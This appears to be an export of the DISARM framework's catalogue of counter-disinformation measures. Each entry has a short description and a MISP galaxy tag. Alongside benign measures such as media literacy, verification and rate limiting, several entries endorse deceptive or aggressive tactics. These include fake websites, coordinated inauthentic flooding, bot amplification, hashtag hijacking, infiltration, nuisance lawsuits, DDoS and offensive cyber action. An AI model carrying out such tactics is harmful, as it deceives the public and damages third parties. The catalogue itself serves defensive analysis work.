https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00024.md

Shore up democracy based messages

Messages about e.g. peace, freedom. And make it sexy. Includes Deploy Information and Narrative-Building in Service of Statecraft: Promote a narrative of transparency, truthfulness, liberal values, and democracy. Implement a compelling narrative via effective mechanisms of communication. Continually reassess messages, mechanisms, and audiences over time. Counteract efforts to manipulate media, undermine free markets, and suppress political freedoms via public diplomacy

The tag is: *misp-galaxy:disarm-countermeasures="Shore up democracy based messages"*

Table 1045. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00026.md

Create culture of civility

This is passive. Includes promoting civility as an identity that people will defend.

The tag is: *misp-galaxy:disarm-countermeasures="Create culture of civility"*

Table 1046. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00027.md

Make information provenance available

Blockchain audit log and validation with collaborative decryption to post comments. Use blockchain technology to require collaborative validation before posts or comments are submitted. This could be used to adjust upvote weight via a trust factor of people and organisations you trust, or other criteria.

The tag is: *misp-galaxy:disarm-countermeasures="Make information provenance available"*

Table 1047. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00028.md

Create fake website to issue counter narrative and counter narrative through physical merchandise

Create websites in disinformation voids - spaces where people are looking for known disinformation.

The tag is: *misp-galaxy:disarm-countermeasures="Create fake website to issue counter narrative and counter narrative through physical merchandise"*

Table 1048. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00029.md

Develop a compelling counter narrative (truth based)

The tag is: *misp-galaxy:disarm-countermeasures="Develop a compelling counter narrative (truth based)"*

Table 1049. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00030.md

Dilute the core narrative - create multiple permutations, target / amplify

Create competing narratives. Included "Facilitate State Propaganda" as diluting the narrative could have an effect on the pro-state narrative used by volunteers, or lower their involvement.

The tag is: *misp-galaxy:disarm-countermeasures="Dilute the core narrative - create multiple permutations, target / amplify"*

Table 1050. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00031.md

Hijack content and link to truth- based info

Link to platform

The tag is: *misp-galaxy:disarm-countermeasures="Hijack content and link to truth- based info"*

Table 1051. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00032.md

Create more friction at account creation

Counters fake account

The tag is: *misp-galaxy:disarm-countermeasures="Create more friction at account creation"*

Table 1052. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00034.md

Infiltrate the in-group to discredit leaders (divide)

All of these would be highly affected by infiltration or false-claims of infiltration.

The tag is: *misp-galaxy:disarm-countermeasures="Infiltrate the in-group to discredit leaders (divide)"*

Table 1053. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00036.md

third party verification for people

counters fake experts

The tag is: *misp-galaxy:disarm-countermeasures="third party verification for people"*

Table 1054. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00040.md

Address truth contained in narratives

Focus on and boost truths in misinformation narratives, removing misinformation from them.

The tag is: *misp-galaxy:disarm-countermeasures="Address truth contained in narratives"*

Table 1055. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00042.md

Keep people from posting to social media immediately

Platforms can introduce friction to slow down activities, force a small delay between posts, or replies to posts.

The tag is: *misp-galaxy:disarm-countermeasures="Keep people from posting to social media immediately"*

Table 1056. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00044.md

Marginalise and discredit extremist groups

Reduce the credibility of extremist groups posting misinformation.

The tag is: *misp-galaxy:disarm-countermeasures="Marginalise and discredit extremist groups"*

Table 1057. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00046.md

Honeypot with coordinated inauthentics

Flood disinformation spaces with obviously fake content, to dilute core misinformation narratives in them.

The tag is: *misp-galaxy:disarm-countermeasures="Honeypot with coordinated inauthentics"*

Table 1058. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00047.md

Name and Shame Influencers

Think about the different levels: individual vs state-sponsored account. Includes “call them out”

and “name and shame”. Identify social media accounts as sources of propaganda—“calling them out”— might be helpful to prevent the spread of their message to audiences that otherwise would consider them factual. Identify, monitor, and, if necessary, target externally-based nonattributed social media accounts. Impact of and Dealing with Trolls - "Chatham House has observed that trolls also sometimes function as decoys, as a way of “keeping the infantry busy” that “aims to wear down the other side” (Lough et al., 2014). Another type of troll involves “false accounts posing as authoritative information sources on social media”.

The tag is: *misp-galaxy:disarm-countermeasures="Name and Shame Influencers"*

Table 1059. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00048.md

Counter social engineering training

Includes anti-elicitation training, phishing prevention education.

The tag is: *misp-galaxy:disarm-countermeasures="Counter social engineering training"*

Table 1060. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00051.md

Infiltrate platforms

Detect and degrade

The tag is: *misp-galaxy:disarm-countermeasures="Infiltrate platforms"*

Table 1061. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00052.md

Delete old accounts / Remove unused social media accounts

remove or remove access to (e.g. stop the ability to update) old social media accounts, to reduce the pool of accounts available for takeover, botnets etc.

The tag is: *misp-galaxy:disarm-countermeasures="Delete old accounts / Remove unused social media accounts"*

Table 1062. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00053.md

Encourage people to leave social media

Encourage people to leave spcial media. We don't expect this to work

The tag is: *misp-galaxy:disarm-countermeasures="Encourage people to leave social media"*

Table 1063. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00056.md

Report crowdfunder as violator

counters crowdfunding. Includes 'Expose online funding as fake".

The tag is: *misp-galaxy:disarm-countermeasures="Report crowdfunder as violator"*

Table 1064. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00058.md

Verification of project before posting fund requests

third-party verification of projects posting funding campaigns before those campaigns can be posted.

The tag is: *misp-galaxy:disarm-countermeasures="Verification of project before posting fund requests"*

Table 1065. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00059.md

Legal action against for-profit engagement factories

Take legal action against for-profit "factories" creating misinformation.

The tag is: *misp-galaxy:disarm-countermeasures="Legal action against for-profit engagement*

factories"

Table 1066. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00060.md

Free open library sources worldwide

Open-source libraries could be created that aid in some way for each technique. Even for Strategic Planning, some open-source frameworks such as DISARM can be created to counter the adversarial efforts.

The tag is: *misp-galaxy:disarm-countermeasures="Free open library sources worldwide"*

Table 1067. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00062.md

Reduce political targeting

Includes “ban political micro targeting” and “ban political ads”

The tag is: *misp-galaxy:disarm-countermeasures="Reduce political targeting"*

Table 1068. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00065.md

Co-opt a hashtag and drown it out (hijack it back)

Flood a disinformation-related hashtag with other content.

The tag is: *misp-galaxy:disarm-countermeasures="Co-opt a hashtag and drown it out (hijack it back)"*

Table 1069. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00066.md

Denigrate the recipient/ project (of online funding)

Reduce the credibility of groups behind misinformation-linked funding campaigns.

The tag is: *misp-galaxy:disarm-countermeasures="Denigrate the recipient/ project (of online funding)"*

Table 1070. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00067.md

Block access to disinformation resources

Resources = accounts, channels etc. Block access to platform. DDOS an attacker. TA02*: DDOS at the critical time, to deny an adversary's time-bound objective. T0008: A quick response to a proto-viral story will affect it's ability to spread and raise questions about their legitimacy. Hashtag: Against the platform, by drowning the hashtag. T0046 - Search Engine Optimisation: Sub-optimal website performance affect its search engine rank, which I interpret as "blocking access to a platform".

The tag is: *misp-galaxy:disarm-countermeasures="Block access to disinformation resources"*

Table 1071. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00070.md

Block source of pollution

Block websites, accounts, groups etc connected to misinformation and other information pollution.

The tag is: *misp-galaxy:disarm-countermeasures="Block source of pollution"*

Table 1072. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00071.md

Remove non-relevant content from special interest groups - not recommended

Check special-interest groups (e.g. medical, knitting) for unrelated and misinformation-linked content, and remove it.

The tag is: *misp-galaxy:disarm-countermeasures="Remove non-relevant content from special interest groups - not recommended"*

Table 1073. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00072.md

Inoculate populations through media literacy training

Use training to build the resilience of at-risk populations. Educate on how to handle info pollution. Push out targeted education on why it's pollution. Build cultural resistance to false content, e.g. cultural resistance to bullshit. Influence literacy training, to inoculate against "cult" recruiting. Media literacy training: leverage librarians / library for media literacy training. Inoculate at language. Strategic planning included as inoculating population has strategic value. Concepts of media literacy to a mass audience that authorities launch a public information campaign that teaches the programme will take time to develop and establish impact, recommends curriculum-based training. Covers detect, deny, and degrade.

The tag is: *misp-galaxy:disarm-countermeasures="Inoculate populations through media literacy training"*

Table 1074. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00073.md

Identify and delete or rate limit identical content

C00000

The tag is: *misp-galaxy:disarm-countermeasures="Identify and delete or rate limit identical content"*

Table 1075. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00074.md

normalise language

normalise the language around disinformation and misinformation; give people the words for artefact and effect types.

The tag is: *misp-galaxy:disarm-countermeasures="normalise language"*

Table 1076. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00075.md

Prohibit images in political discourse channels

Make political discussion channels text-only.

The tag is: *misp-galaxy:disarm-countermeasures="Prohibit images in political discourse channels"*

Table 1077. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00076.md

Active defence: run TA15 "develop people” - not recommended

Develop networks of communities and influencers around counter-misinformation. Match them to misinformation creators

The tag is: *misp-galaxy:disarm-countermeasures="Active defence: run TA15 "develop people” - not recommended"*

Table 1078. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00077.md

Change Search Algorithms for Disinformation Content

Includes “change image search algorithms for hate groups and extremists” and “Change search algorithms for hate and extremist queries to show content sympathetic to opposite side”

The tag is: *misp-galaxy:disarm-countermeasures="Change Search Algorithms for Disinformation Content"*

Table 1079. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00078.md

Create competing narrative

Create counternarratives, or narratives that compete in the same spaces as misinformation

narratives. Could also be degrade

The tag is: *misp-galaxy:disarm-countermeasures="Create competing narrative"*

Table 1080. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00080.md

Highlight flooding and noise, and explain motivations

Discredit by pointing out the "noise" and informing public that "flooding" is a technique of disinformation campaigns; point out intended objective of "noise"

The tag is: *misp-galaxy:disarm-countermeasures="Highlight flooding and noise, and explain motivations"*

Table 1081. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00081.md

Ground truthing as automated response to pollution

Also inoculation.

The tag is: *misp-galaxy:disarm-countermeasures="Ground truthing as automated response to pollution"*

Table 1082. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00082.md

Modify disinformation narratives, and rebroadcast them

Includes “poison pill recasting of message” and “steal their truths”. Many techniques involve promotion which could be manipulated. For example, online fundings or rallies could be advertised, through compromised or fake channels, as being associated with "far-up/down/left/right" actors. "Long Game" narratives could be subjected in a similar way with negative connotations. Can also replay technique T0003.

The tag is: *misp-galaxy:disarm-countermeasures="Modify disinformation narratives, and rebroadcast them"*

Table 1083. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00084.md

Mute content

Rate-limit disinformation content. Reduces its effects, whilst not running afoul of censorship concerns. Online archives of content (archives of websites, social media profiles, media, copies of published advertisements; or archives of comments attributed to bad actors, as well as anonymized metadata about users who interacted with them and analysis of the effect) is useful for intelligence analysis and public transparency, but will need similar muting or tagging/ shaming as associated with bad actors.

The tag is: *misp-galaxy:disarm-countermeasures="Mute content"*

Table 1084. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00085.md

Distract from noise with addictive content

Example: Interject addictive links or contents into discussions of disinformation materials and measure a "conversion rate" of users who engage with your content and away from the social media channel's "information bubble" around the disinformation item. Use bots to amplify and upvote the addictive content.

The tag is: *misp-galaxy:disarm-countermeasures="Distract from noise with addictive content"*

Table 1085. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00086.md

Make more noise than the disinformation

The tag is: *misp-galaxy:disarm-countermeasures="Make more noise than the disinformation"*

Table 1086. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00087.md

Fake engagement system

Create honeypots for misinformation creators to engage with, and reduce the resources they have available for misinformation campaigns.

The tag is: *misp-galaxy:disarm-countermeasures="Fake engagement system"*

Table 1087. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00090.md

Honeypot social community

Set honeypots, e.g. communities, in networks likely to be used for disinformation.

The tag is: *misp-galaxy:disarm-countermeasures="Honeypot social community"*

Table 1088. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00091.md

Establish a truth teller reputation score for influencers

Includes "Establish a truth teller reputation score for influencers” and “Reputation scores for social media users”. Influencers are individuals or accounts with many followers.

The tag is: *misp-galaxy:disarm-countermeasures="Establish a truth teller reputation score for influencers"*

Table 1089. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00092.md

Influencer code of conduct

Establish tailored code of conduct for individuals with many followers. Can be platform code of conduct; can also be community code.

The tag is: *misp-galaxy:disarm-countermeasures="Influencer code of conduct"*

Table 1090. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00093.md

Force full disclosure on corporate sponsor of research

Accountability move: make sure research is published with its funding sources.

The tag is: *misp-galaxy:disarm-countermeasures="Force full disclosure on corporate sponsor of research"*

Table 1091. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00094.md

Strengthen institutions that are always truth tellers

Increase credibility, visibility, and reach of positive influencers in the information space.

The tag is: *misp-galaxy:disarm-countermeasures="Strengthen institutions that are always truth tellers"*

Table 1092. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00096.md

Require use of verified identities to contribute to poll or comment

Reduce poll flooding by online taking comments or poll entries from verified accounts.

The tag is: *misp-galaxy:disarm-countermeasures="Require use of verified identities to contribute to poll or comment"*

Table 1093. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00097.md

Revocation of allowlisted or "verified" status

remove blue checkmarks etc from known misinformation accounts.

The tag is: *misp-galaxy:disarm-countermeasures="Revocation of allowlisted or "verified" status"*

Table 1094. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00098.md

Strengthen verification methods

Improve content veerification methods available to groups, individuals etc.

The tag is: *misp-galaxy:disarm-countermeasures="Strengthen verification methods"*

Table 1095. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00099.md

Hashtag jacking

Post large volumes of unrelated content on known misinformation hashtags

The tag is: *misp-galaxy:disarm-countermeasures="Hashtag jacking"*

Table 1096. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00100.md

Create friction by rate-limiting engagement

Create participant friction. Includes Make repeat voting hard, and throttle number of forwards.

The tag is: *misp-galaxy:disarm-countermeasures="Create friction by rate-limiting engagement"*

Table 1097. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00101.md

Create a bot that engages / distract trolls

This is reactive, not active measure (honeypots are active). It's a platform controlled measure.

The tag is: *misp-galaxy:disarm-countermeasures="Create a bot that engages / distract trolls"*

Table 1098. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00103.md

Buy more advertising than misinformation creators

Shift influence and algorithms by posting more adverts into spaces than misinformation creators.

The tag is: *misp-galaxy:disarm-countermeasures="Buy more advertising than misinformation creators"*

Table 1099. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00105.md

Click-bait centrist content

Create emotive centrist content that gets more clicks

The tag is: *misp-galaxy:disarm-countermeasures="Click-bait centrist content"*

Table 1100. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00106.md

Content moderation

includes social media content take-downs, e.g. facebook or Twitter content take-downs

The tag is: *misp-galaxy:disarm-countermeasures="Content moderation"*

Table 1101. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00107.md

Dampen Emotional Reaction

Reduce emotional responses to misinformation through calming messages, etc.

The tag is: *misp-galaxy:disarm-countermeasures="Dampen Emotional Reaction"*

Table 1102. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00109.md

Reduce polarisation by connecting and presenting sympathetic renditions of opposite views

The tag is: *misp-galaxy:disarm-countermeasures="Reduce polarisation by connecting and presenting sympathetic renditions of opposite views"*

Table 1103. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00111.md

"Prove they are not an op!"

Challenge misinformation creators to prove they’re not an information operation.

The tag is: *misp-galaxy:disarm-countermeasures=""Prove they are not an op!""*

Table 1104. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00112.md

Debunk and defuse a fake expert / credentials.

Debunk fake experts, their credentials, and potentially also their audience quality

The tag is: *misp-galaxy:disarm-countermeasures="Debunk and defuse a fake expert / credentials."*

Table 1105. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00113.md

Don’t engage with payloads

Stop passing on misinformation

The tag is: *misp-galaxy:disarm-countermeasures="Don’t engage with payloads"*

Table 1106. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00114.md

Expose actor and intentions

Debunk misinformation creators and posters.

The tag is: *misp-galaxy:disarm-countermeasures="Expose actor and intentions"*

Table 1107. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00115.md

Provide proof of involvement

Build and post information about groups etc’s involvement in misinformation incidents.

The tag is: *misp-galaxy:disarm-countermeasures="Provide proof of involvement"*

Table 1108. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00116.md

Downgrade / de-amplify so message is seen by fewer people

Label promote counter to disinformation

The tag is: *misp-galaxy:disarm-countermeasures="Downgrade / de-amplify so message is seen by fewer people"*

Table 1109. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00117.md

Repurpose images with new text

Add countermessage text to iamges used in misinformation incidents.

The tag is: *misp-galaxy:disarm-countermeasures="Repurpose images with new text"*

Table 1110. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00118.md

Engage payload and debunk.

debunk misinformation content. Provide link to facts.

The tag is: *misp-galaxy:disarm-countermeasures="Engage payload and debunk."*

Table 1111. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00119.md

Open dialogue about design of platforms to produce different outcomes

Redesign platforms and algorithms to reduce the effectiveness of disinformation

The tag is: *misp-galaxy:disarm-countermeasures="Open dialogue about design of platforms to produce different outcomes"*

Table 1112. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00120.md

Tool transparency and literacy for channels people follow.

Make algorithms in platforms explainable, and visible to people using those platforms.

The tag is: *misp-galaxy:disarm-countermeasures="Tool transparency and literacy for channels people*

follow."

Table 1113. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00121.md

Remove or rate limit botnets

reduce the visibility of known botnets online.

The tag is: *misp-galaxy:disarm-countermeasures="Remove or rate limit botnets"*

Table 1114. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00123.md

Don’t feed the trolls

Don’t engage with individuals relaying misinformation.

The tag is: *misp-galaxy:disarm-countermeasures="Don’t feed the trolls"*

Table 1115. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00124.md

Prebunking

Produce material in advance of misinformation incidents, by anticipating the narratives used in them, and debunking them.

The tag is: *misp-galaxy:disarm-countermeasures="Prebunking"*

Table 1116. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00125.md

Social media amber alert

Create an alert system around disinformation and misinformation artefacts, narratives, and

incidents

The tag is: *misp-galaxy:disarm-countermeasures="Social media amber alert"*

Table 1117. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00126.md

Create friction by marking content with ridicule or other "decelerants"

Repost or comment on misinformation artefacts, using ridicule or other content to reduce the likelihood of reposting.

The tag is: *misp-galaxy:disarm-countermeasures="Create friction by marking content with ridicule or other "decelerants""*

Table 1118. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00128.md

Use banking to cut off access

fiscal sanctions; parallel to counter terrorism

The tag is: *misp-galaxy:disarm-countermeasures="Use banking to cut off access"*

Table 1119. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00129.md

Mentorship: elders, youth, credit. Learn vicariously.

Train local influencers in countering misinformation.

The tag is: *misp-galaxy:disarm-countermeasures="Mentorship: elders, youth, credit. Learn vicariously."*

Table 1120. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00130.md

Seize and analyse botnet servers

Take botnet servers offline by seizing them.

The tag is: *misp-galaxy:disarm-countermeasures="Seize and analyse botnet servers"*

Table 1121. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00131.md

Deplatform Account*

Note: Similar to Deplatform People but less generic. Perhaps both should be left.

The tag is: *misp-galaxy:disarm-countermeasures="Deplatform Account*"*

Table 1122. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00133.md

Deplatform message groups and/or message boards

Merged two rows here.

The tag is: *misp-galaxy:disarm-countermeasures="Deplatform message groups and/or message boards"*

Table 1123. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00135.md

Microtarget most likely targets then send them countermessages

Find communities likely to be targetted by misinformation campaigns, and send them countermessages or pointers to information sources.

The tag is: *misp-galaxy:disarm-countermeasures="Microtarget most likely targets then send them*

countermessages"

Table 1124. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00136.md

Spam domestic actors with lawsuits

File multiple lawsuits against known misinformation creators and posters, to distract them from disinformation creation.

The tag is: *misp-galaxy:disarm-countermeasures="Spam domestic actors with lawsuits"*

Table 1125. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00138.md

Weaponise youtube content matrices

God knows what this is. Keeping temporarily in case we work it out.

The tag is: *misp-galaxy:disarm-countermeasures="Weaponise youtube content matrices"*

Table 1126. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00139.md

"Bomb" link shorteners with lots of calls

Applies to most of the content used by exposure techniques except "T0055 - Use hashtag”. Applies to analytics

The tag is: *misp-galaxy:disarm-countermeasures=""Bomb" link shorteners with lots of calls"*

Table 1127. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00140.md

Platform adds warning label and decision point when sharing content

Includes “this has been disproved: do you want to forward it”. Includes “"Hey this story is old" popup when messaging with old URL” - this assumes that this technique is based on visits to an URL shortener or a captured news site that can publish a message of our choice. Includes “mark clickbait visually”.

The tag is: *misp-galaxy:disarm-countermeasures="Platform adds warning label and decision point when sharing content"*

Table 1128. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00142.md

(botnet) DMCA takedown requests to waste group time

Use copyright infringement claims to remove videos etc.

The tag is: *misp-galaxy:disarm-countermeasures="(botnet) DMCA takedown requests to waste group time"*

Table 1129. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00143.md

Buy out troll farm employees / offer them jobs

Degrade the infrastructure. Could e.g. pay to not act for 30 days. Not recommended

The tag is: *misp-galaxy:disarm-countermeasures="Buy out troll farm employees / offer them jobs"*

Table 1130. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00144.md

Make amplification of social media posts expire (e.g. can’t like/ retweet after n days)

Stop new community activity (likes, comments) on old social media posts.

The tag is: *misp-galaxy:disarm-countermeasures="Make amplification of social media posts expire (e.g. can't like/ retweet after n days)"*

Table 1131. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00147.md

Add random links to network graphs

If creators are using network analysis to determine how to attack networks, then adding random extra links to those networks might throw that analysis out enough to change attack outcomes. Unsure which DISARM techniques.

The tag is: *misp-galaxy:disarm-countermeasures="Add random links to network graphs"*

Table 1132. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00148.md

Poison the monitoring & evaluation data

Includes Pollute the AB-testing data feeds: Polluting A/B testing requires knowledge of MOEs and MOPs. A/B testing must be caught early when there is relatively little data available so infiltration of TAs and understanding of how content is migrated from testing to larger audiences is fundamental.

The tag is: *misp-galaxy:disarm-countermeasures="Poison the monitoring & evaluation data"*

Table 1133. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00149.md

Take pre-emptive action against actors' infrastructure

Align offensive cyber action with information operations and counter disinformation approaches, where appropriate.

The tag is: *misp-galaxy:disarm-countermeasures="Take pre-emptive action against actors' infrastructure"*

Table 1134. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00153.md

Ask media not to report false information

Train media to spot and respond to misinformation, and ask them not to post or transmit misinformation they've found.

The tag is: *misp-galaxy:disarm-countermeasures="Ask media not to report false information"*

Table 1135. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00154.md

Ban incident actors from funding sites

Ban misinformation creators and posters from funding sites

The tag is: *misp-galaxy:disarm-countermeasures="Ban incident actors from funding sites"*

Table 1136. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00155.md

Better tell your country or organisation story

Civil engagement activities conducted on the part of EFP forces. NATO should likewise provide support and training, where needed, to local public affairs and other communication personnel. Local government and military public affairs personnel can play their part in creating and disseminating entertaining and sharable content that supports the EFP mission.

The tag is: *misp-galaxy:disarm-countermeasures="Better tell your country or organisation story"*

Table 1137. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00156.md

Have a disinformation response plan

e.g. Create a campaign plan and toolkit for competition short of armed conflict (this used to be called "the grey zone"). The campaign plan should account for own vulnerabilities and strengths, and not over-rely on any one tool of statecraft or line of effort. It will identify and employ a broad

spectrum of national power to deter, compete, and counter (where necessary) other countries' approaches, and will include understanding of own capabilities, capabilities of disinformation creators, and international standards of conduct to compete in, shrink the size, and ultimately deter use of competition short of armed conflict.

The tag is: *misp-galaxy:disarm-countermeasures="Have a disinformation response plan"*

Table 1138. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00159.md

find and train influencers

Identify key influencers (e.g. use network analysis), then reach out to identified users and offer support, through either training or resources.

The tag is: *misp-galaxy:disarm-countermeasures="find and train influencers"*

Table 1139. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00160.md

Coalition Building with stakeholders and Third-Party Inducements

Advance coalitions across borders and sectors, spanning public and private, as well as foreign and domestic, divides. Improve mechanisms to collaborate, share information, and develop coordinated approaches with the private sector at home and allies and partners abroad.

The tag is: *misp-galaxy:disarm-countermeasures="Coalition Building with stakeholders and Third-Party Inducements"*

Table 1140. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00161.md

Unravel/target the Potemkin villages

Kremlin's narrative spin extends through constellations of "civil society" organisations, political parties, churches, and other actors. Moscow leverages think tanks, human rights groups, election observers, Eurasianist integration groups, and orthodox groups. A collection of Russian civil society organisations, such as the Federal Agency for the Commonwealth of Independent States Affairs,

Compatriots Living Abroad, and International Humanitarian Cooperation, together receive at least US$100 million per year, in addition to government-organized nongovernmental organisations (NGOs), at least 150 of which are funded by Russian presidential grants totaling US$70 million per year.

The tag is: *misp-galaxy:disarm-countermeasures="Unravel/target the Potemkin villages"*

Table 1141. Table References

Links
